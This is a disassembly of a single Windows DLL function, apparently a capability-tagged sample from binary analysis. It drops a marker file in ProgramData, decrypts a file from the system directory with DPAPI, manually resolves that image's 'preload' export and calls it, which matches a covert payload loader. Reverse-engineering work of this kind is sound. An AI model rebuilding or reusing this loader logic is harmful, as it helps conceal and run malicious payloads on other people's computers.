Function at 0x10007f20
Capabilities:
Check if file exists
Encrypt data using dpapi
Get common file path
Get file size
Initialize winsock library
Read file on windows
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10054ba0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xa70
mov eax, dword [0x10084068]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x208
lea eax, [ebp - 0x220]
push 0
push eax
call fcn.1000ff20
add esp, 0xc
push 0x1c
call fcn.1000dab1
add esp, 4
mov esi, eax
xorps xmm0, xmm0
push 0x1c
movups xmmword [esi], xmm0
push esi
movq qword [esi + 0x10], xmm0
push fcn.10008680
mov dword [esi + 0x18], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov eax, dword [esi + 4]
lea ecx, [ebp - 0x220]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
push ecx
push eax
mov dword [ebp - 0xa1c], eax
call esi
lea eax, [ebp - 0x9e8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x208
lea eax, [ebp - 0x838]
push 0
push eax
call fcn.1000ff20
add esp, 0xc
lea eax, [ebp - 0x428]
push 0x208
push 0
push eax
call fcn.1000ff20
add esp, 0xc
lea eax, [ebp - 0x630]
push 0x208
push 0
push eax
call fcn.1000ff20
add esp, 0xc
lea eax, [ebp - 0x630]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x104
lea eax, [ebp - 0x838]
push eax
push dword [0x10086ff0]
call esi
push str.X:ProgramDataMicrosoftSettings_status.dat
lea ecx, [ebp - 0x428]
call fcn.10007ed0
mov ax, word [ebp - 0x630]
mov word [ebp - 0x428], ax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmp eax, 1
je 0x100080bb
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x100080bb
push 0
lea eax, [ebp - 0xa04]
push eax
push 0x208
lea eax, [ebp - 0x838]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call esi
mov edi, eax
call esi
cmp edi, 1
jne 0x10008142
cmp eax, 2
jne 0x10008142
call fcn.10002540
mov edx, str.usage:
mov ecx, 0x100860b0
call fcn.10006e70
mov edx, dword [pe_dos_header]
mov ecx, eax
call fcn.10006e70
mov edx, str.:___i____x__pattern
mov ecx, eax
call fcn.10006e70
push eax
call fcn.100070c0
add esp, 4
call fcn.100029a0
mov edx, str.usage:
mov ecx, 0x100860b0
call fcn.10006e70
mov edx, dword [pe_dos_header]
mov ecx, eax
call fcn.10006e70
mov edx, str.:___i____x__pattern
mov ecx, eax
call fcn.10006e70
push eax
call fcn.100070c0
add esp, 4
call fcn.10002d60
push 0x104
call fcn.1000db12
add esp, 4
mov dword [ebp - 0x9f0], eax
push 0x104
call fcn.1000db12
add esp, 4
mov dword [ebp - 0x9ec], eax
push 0x208
call fcn.1000db12
add esp, 4
mov edi, eax
push 0x208
call fcn.1000db12
add esp, 4
mov esi, eax
push 0x208
push 0
push esi
call fcn.1000ff20
add esp, 0xc
push 0x104
push 0
push dword [ebp - 0x9f0]
call fcn.1000ff20
add esp, 0xc
push 0x104
push 0
push dword [ebp - 0x9ec]
call fcn.1000ff20
add esp, 0xc
push 0x208
push 0
push edi
call fcn.1000ff20
add esp, 0xc
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x10064b28
lea ecx, [ebp - 0x220]
call fcn.10007ed0
mov ax, word [esi]
push esi
mov word [ebp - 0x220], ax
call fcn.1000daac
add esp, 4
push dword [ebp - 0x9f0]
call fcn.1000daac
add esp, 4
push dword [ebp - 0x9ec]
call fcn.1000daac
add esp, 4
push edi
call fcn.1000daac
add esp, 4
lea eax, [ebp - 0x220]
xorps xmm0, xmm0
movlpd qword [ebp - 0xa08], xmm0
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x9f4], eax
cmp eax, 0xffffffff
jne 0x1000826c
xorps xmm0, xmm0
movlpd qword [ebp - 0xa08], xmm0
mov edi, dword [ebp - 0xa08]
jmp 0x10008298
lea ecx, [ebp - 0xa08]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push dword [ebp - 0x9f4]
mov edi, dword [ebp - 0xa08]
mov esi, dword [ebp - 0xa04]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xa04], esi
test edi, edi
je 0x100085cc
push edi
call fcn.1000db12
mov esi, eax
add esp, 4
mov dword [ebp - 0x9f8], esi
test esi, esi
je 0x100085cc
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x9f4], eax
cmp eax, 0xffffffff
je 0x10008301
push 0
lea ecx, [ebp - 0xa04]
push ecx
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x9f4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.1000db12
add esp, 4
mov dword [ebp - 0x9f0], eax
push edi
push 0
push eax
call fcn.1000ff20
add esp, 0xc
push edi
call fcn.1000db12
add esp, 4
mov dword [ebp - 0x9f4], eax
push edi
push 0
push eax
call fcn.1000ff20
add esp, 0xc
lea esi, [ebp - 0x858]
mov edi, 8
push esi
call fcn.100196b2
add esp, 4
add esi, 4
sub edi, 1
jne 0x10008342
lea ecx, [ebp - 0x858]
call fcn.10008e50
mov ecx, dword [ebp - 0x9f8]
mov dword [ebp - 0xa18], 0
mov eax, dword [ecx + 0x38]
lea esi, [ecx + 0x3c]
movups xmm0, xmmword [ecx + 0x20]
mov dword [ebp - 0xa44], eax
lea eax, [ebp - 0xa2c]
movups xmm2, xmmword [ecx]
push eax
movups xmm1, xmmword [ecx + 0x10]
push 1
push 0
movups xmmword [ebp - 0xa5c], xmm0
lea eax, [ebp - 0xa18]
movq xmm0, qword [ecx + 0x30]
push 0
movd edi, xmm2
push 0
movq qword [ebp - 0xa4c], xmm0
movaps xmm0, xmm1
push eax
lea eax, [ebp - 0xa24]
psrldq xmm0, 8
add esi, edi
mov dword [ebp - 0x9ec], edi
push eax
movups xmmword [ebp - 0xa40], xmm2
mov dword [ebp - 0xa20], esi
movups xmmword [ebp - 0xa10], xmm1
movups xmmword [ebp - 0xa6c], xmm1
movd dword [ebp - 0xa24], xmm0
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
push dword [ebp - 0xa2c]
push dword [ebp - 0xa28]
push esi
call fcn.1000f420
movups xmm0, xmmword [ebp - 0xa60]
add esp, 0xc
lea ecx, [ebp - 0x858]
movups xmmword [ebp - 0x858], xmm0
movups xmm0, xmmword [ebp - 0xa50]
movups xmmword [ebp - 0x848], xmm0
call fcn.10008e50
movups xmm0, xmmword [ebp - 0xa10]
psrldq xmm0, 4
movd eax, xmm0
push eax
mov eax, dword [ebp - 0x9f8]
add eax, 0x3c
add eax, edi
push eax
call fcn.10008f20
movups xmm1, xmmword [ebp - 0xa40]
mov eax, dword [ebp - 0xa10]
mov ecx, dword [ebp - 0x9f8]
push eax
mov dword [ebp - 0xa04], eax
movaps xmm0, xmm1
psrldq xmm0, 0xc
add ecx, 0x3c
movd eax, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
movd edi, xmm0
mov dword [ebp - 0x9fc], eax
psrldq xmm1, 4
add eax, edi
movd esi, xmm1
add eax, esi
add eax, dword [ebp - 0x9ec]
add eax, ecx
push eax
push dword [ebp - 0x9f0]
call fcn.1000f420
mov ecx, dword [ebp - 0x9f8]
lea eax, [edi + esi]
add esp, 0xc
add eax, dword [ebp - 0x9ec]
push dword [ebp - 0x9fc]
mov esi, dword [ebp - 0x9f4]
add ecx, 0x3c
add eax, ecx
push eax
push esi
call fcn.1000f420
add esp, 0xc
mov ecx, esi
call fcn.10008980
mov edi, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x9fc], ecx
cmp dword [edi + 0x7c], 0
je 0x100085a2
mov edi, dword [edi + 0x78]
add edi, ecx
mov edx, dword [edi + 0x18]
test edx, edx
je 0x100085a2
cmp dword [edi + 0x14], 0
je 0x100085a2
mov esi, dword [edi + 0x20]
mov eax, dword [edi + 0x24]
add esi, ecx
add eax, ecx
mov dword [ebp - 0xa14], 0
mov dword [ebp - 0x9ec], eax
test edx, edx
je 0x100085a2
nop
mov eax, dword [esi]
add eax, ecx
push eax
push str.preload
call fcn.1001d47e
add esp, 8
test eax, eax
je 0x1000856a
mov eax, dword [ebp - 0xa14]
add esi, 4
add dword [ebp - 0x9ec], 2
inc eax
mov ecx, dword [ebp - 0x9fc]
mov dword [ebp - 0xa14], eax
cmp eax, dword [edi + 0x18]
jb 0x10008530
jmp 0x100085a2
mov eax, dword [ebp - 0x9ec]
movzx ecx, word [eax]
cmp ecx, dword [edi + 0x14]
ja 0x100085a2
mov eax, dword [edi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebp - 0x9fc]
mov eax, dword [eax + ecx]
add eax, ecx
je 0x100085a2
push dword [ebp - 0xa1c]
push dword [ebp - 0xa04]
push dword [ebp - 0x9f0]
call eax
add esp, 0xc
push dword [ebp - 0x9f8]
call fcn.1000daac
add esp, 4
push dword [ebp - 0x9f4]
call fcn.1000daac
add esp, 4
push dword [ebp - 0x9f0]
call fcn.1000daac
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000da9b
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret